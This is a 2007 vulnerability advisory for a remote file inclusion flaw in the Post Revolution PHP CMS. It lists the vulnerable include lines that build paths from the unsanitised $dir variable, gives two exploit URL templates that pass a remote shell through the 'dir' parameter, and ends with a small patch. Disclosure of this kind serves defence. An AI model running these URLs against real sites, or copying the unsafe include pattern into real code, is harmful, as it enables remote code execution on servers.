~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Post Revolution Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2
                          Download..: http://www.fabio.com.ar/postrev/
                          Risk ..............: high      
                          Date .........: 25/3/2007                        
                          Found by ..........: InyeXion                                                  
                          Contact ...........: InyeXion[at]gmail.com    
                          Web .............: Www.InyeXion.com.ar                               
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Affected File:                                                                
/common.php
/themes/default/preview_post_completo.php

 Vulnerable Code:

/common.php

Line [10]   include ($dir."themes/".$config_data["template"]."/encabezado.php");
Line [16]   include ($dir."themes/".$config_data["template"]."/cuerpo.php");
Line [22]   include ($dir."themes/".$config_data["template"]."/pie.php");
Line [37]           include ($dir."themes/".$config_data["template"]."/menu_principal.php");
Line [49]            include ($dir."themes/".$config_data["template"]."/error.php");
Line [129]  include ($dir."themes/".$config_data["template"]."/login_form.php");
Line [135]  include ($dir."themes/".$config_data["template"]."/logout.php");
Line [174]  include ($dir."language/".$config_data["lang"].".php");
Line [272]  include ($dir."language/".$config_data["lang"].".php");
Line [282]  include ($dir."themes/".$config_data["template"]."/seccion.php");
Line [360]  include ($dir."language/".$config_data["lang"].".php");
Line [446]  include ($dir."themes/".$config_data["template"]."/post.php");
Line [460]  include ($dir."language/".$config_data["lang"].".php");
Line [543]  include ($dir."themes/".$config_data["template"]."/archivo_noticias.php");
Line [549]  include ($dir."themes/".$config_data["template"]."/cuerpo_archivo.php");
Line [570]  include ($dir."language/".$config_data["lang"].".php");
Line [628]  include ($dir."themes/".$config_data["template"]."/post_completo.php");
Line [641]  include ($dir."language/".$config_data["lang"].".php");
Line [661]  include ($dir."language/".$config_data["lang"].".php");
Line [680]  include ($dir."themes/".$config_data["template"]."/posts_usuario.php");
Line [692]  include ($dir."language/".$config_data["lang"].".php");
Line [715]  include ($dir."themes/".$config_data["template"]."/comment_encabezado.php");
Line [750]  include ($dir."themes/".$config_data["template"]."/comment.php");
Line [770]  include ($dir."themes/".$config_data["template"]."/comment_form.php");
Line [776]  include ($dir."themes/".$config_data["template"]."/info.php");
Line [782]  include ($dir."themes/".$config_data["template"]."/info.php");
Line [1054]  include ($dir."language/".$config_data["lang"].".php");
Line [1106]  include ($dir."themes/".$config_data["template"]."/encuesta_head.php");
Line [1124]  include ($dir."themes/".$config_data["template"]."/encuesta_opc.php");
Line [1128]  include ($dir."themes/".$config_data["template"]."/encuesta_pie.php");
Line [1159]  include ($dir."themes/".$config_data["template"]."/encuesta_head_ver.php");
Line [1180]  include ($dir."themes/".$config_data["template"]."/encuesta_opc_ver.php");
Line [1183]  include ($dir."themes/".$config_data["template"]."/encuesta_pie_ver.php");
Line [1231]  include ($dir."themes/".$config_data["template"]."/encuestas_anteriores.php");
Line [1242]  include ($dir."themes/".$config_data["template"]."/tagmenu.php");
Line [1297]  include ($dir."themes/".$config_data["template"]."/tagpost.php");
Line [1310]  include ($dir."language/".$config_data["lang"].".php");
Line [1482]  include ($dir."language/".$config_data["lang"].".php");
Line [1506]  include ($dir."themes/".$config_data["template"]."/categoria_enlace.php");
Line [1521]  include ($dir."themes/".$config_data["template"]."/enlacefila.php");
Line [1570]  include ($dir."config.php");
Line [1676]  include ($dir."language/".$config_data["lang"].".php");
Line [1678]  include ($dir."themes/".$config_data["template"]."/buscar.php");
Line [1685]  include ($dir."language/".$config_data["lang"].".php");
Line [1723]  include ($dir."themes/".$config_data["template"]."/resultado.php");
Line [1730]  include ($dir."language/".$config_data["lang"].".php");
Line [1766]  include ($dir."themes/".$config_data["template"]."/busq-dato.php");
Line [1772]  include ($dir."themes/".$config_data["template"]."/busq-resultado.php");
Line [1778]  include ($dir."themes/".$config_data["template"]."/busq-resultado.php");
Line [1790]  include ($dir."language/".$config_data["lang"].".php");
Line [1813]  include ($dir."themes/".$config_data["template"]."/categoria_descarga.php");
Line [1834]  include ($dir."themes/".$config_data["template"]."/descargafila.php");
Line [1875]  include ($dir."language/".$config_data["lang"].".php");
Line [1892]  include ($dir."language/".$config_data["lang"].".php");
Line [1908]  include ($dir."language/".$config_data["lang"].".php");
Line [1924]  include ($dir."language/".$config_data["lang"].".php");
Line [2061]  include ($dir."include/anti-spam.php");


/themes/default/preview_post_completo.php

Line [3]    include ($dir."themes/".$config_data["template"]."/post_completo.php");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:
                                                                      
http://[target]/common.php?dir=Shell
http://[target]/themes/default/preview_post_completo.php?dir=Shell
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fixed bug:

/common.php and /themes/default/preview_post_completo.php insert

if((isset($_REQUEST['dir'])  || isset($_GET['dir']) || isset($_POST['dir'])) && !defined("dir")){
die("Fixed bug by InyeXion.");
 }

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